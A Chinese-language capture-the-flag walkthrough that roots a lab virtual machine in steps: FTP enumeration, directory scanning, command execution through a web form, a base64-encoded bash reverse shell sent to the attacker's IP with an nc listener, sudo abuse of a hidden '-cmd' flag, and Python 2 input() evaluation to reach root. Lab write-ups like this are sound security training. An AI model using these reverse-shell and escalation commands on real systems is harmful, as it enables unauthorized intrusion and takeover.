渗透思路:
nmap扫描----匿名登录ftp----gobuster扫描网站目录----利用RCE getshell(payload需要base64编码)----寻找敏感信息切换到用户nitish----sudo切换到sam(善用man命令)----sudo提权到root(使用uncompyle6反编译.pyc)
环境信息:
靶机:192.168.101.67
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.68
扫描到21(ftp)、22(ssh)、1337、7331(http)端口
2、匿名登录ftp下载文件
登录ftp,用户名和密码都是anonymous
ftp 192.168.101.68
下载文件
ftp> get creds.txt
ftp> get game.txt
ftp> get message.txt
在攻击机上打开下载好的文件,内容分别如下
creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
3、gobuster扫描
用gobuster扫描7331端口网站目录
gobuster dir -u http://192.168.101.68:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt
扫描到/wish和/genie
4、利用远程命令执行getshell(base64)
浏览器访问http://192.168.101.68:7331/wish,发现可以执行系统命令
比如在输入框中输入whoami
提交之后跳转到http://192.168.101.68:7331/genie?name=www-data%0A,虽然页面看起来没有显示命令执行结果,但其实url参数值已经包含了whoami的执行结果www-data
可以利用这个命令执行功能获得反弹shell
经尝试,这边bash反弹shell需要base64编码,具体方式如下:
先在攻击机上输入
echo "bash -i &>/dev/tcp/192.168.101.34/8888 <&1" | base64
得到bash -i &>/dev/tcp/192.168.101.34/8888 <&1的base64编码
再组合成下面的payload,也就是在靶机上将YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg==进行base64解码之后再执行
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg== | base64 -d | bash
攻击机上nc监听8888端口
nc -nlvp 8888
http://192.168.101.68:7331/wish页面Execute框输入payload:
echo "YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg==" | base64 -d | bash
攻击机上得到靶机www-data用户的反弹shell
5、切换到用户nitish
进入到/home目录,发现有两个用户nitish和sam
探索nitish用户的家目录,在/home/nitish/.dev/目录下找到creds.txt,其内容看上去是nitish的用户名和密码
nitish:p4ssw0rdStr3r0n9
使用nitish用户进行ssh登录,密码是p4ssw0rdStr3r0n9,登录成功
ssh nitish@192.168.101.68
6、sudo切换到用户sam(善用man)
nitish的shell下输入
sudo -l
发现可以以sam用户身份执行/usr/bin/genie
尝试以sam用户身份执行/usr/bin/genie,命令行输出了使用方法提示
sudo -u sam genie
根据使用方法提示执行/usr/bin/genie,结果命令行一直是下图这样的回显
sudo -u sam /usr/bin/genie -g -e /bin/bash wish
用strings命令查看/usr/bin/genie中的可读字符串,发现genie.py
strings /usr/bin/genie
查找一下genie.py在哪儿,也许可以通过阅读源代码发现什么。
whereis genie.py
很可惜没找到genie.py,但是发现genie似乎有man文件
用man命令查看genie的详细信息
man genie
发现有一个参数命令行提示没有提及,-cmd
以sam身份执行genie的时候加上-cmd参数,不过参数后面还要再加一个随便什么字符串作为参数值
sudo -u sam genie -cmd a
得到sam的shell
7、sudo提权到root(.pyc反编译)
在sam的shell下执行
sudo -l
发现可以以root的身份执行/root/lago
尝试以root身份执行/root/lago
sudo /root/lago
发现有4个选项,选择每个选项后的反馈是下图这样。一开始以为有用的选项是3,也就是读文件,但连/etc/passwd这个文件root都没有权限读?这也太骗人了吧
摸索一圈之后,在/home/sam下看到了.pyc
查看该文件中的可读字符串
strings .pyc
可以明显看出来该文件和/root/lago应该是实现相同功能的
把.pyc拷贝到攻击机上分析
靶机上起http
python2.7 -m SimpleHTTPServer 8080
攻击机上wget下载.pyc文件
wget http://192.168.101.68:8080/.pyc
使用uncompyle6反编译.pyc
uncompyle6 -o lago.py .pyc
lago.py的内容如下
# uncompyle6 version 3.8.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.9.8 (main, Nov 7 2021, 15:47:09)
# [GCC 11.2.0]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 08:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
阅读代码可以发现,确实只有'2 - Guess the number'有突破口,满足if s == num就可以得到shell。
仔细观察guessit()函数定义,发现在进行if s == num判断之前并没有对输入进行过滤和转义。而在python中,虽然input()函数接收命令行的数字输入时会将其自动识别为数字,但当其接收字符串输入时,必须将字符串框在引号中才能被其识别为字符串,否则当作变量处理。可以做简单的测试:
也就是说,只要在命令行输入num,if语句就变成了if num=num,就是真,就会触发system('/bin/sh')执行,从而获得shell。
可以先在攻击机上简单测试:
靶机上执行
sudo /root/lago
选择2,然后输入num,即可得到root的shell
/root/目录下有个proof.sh,执行后得到flag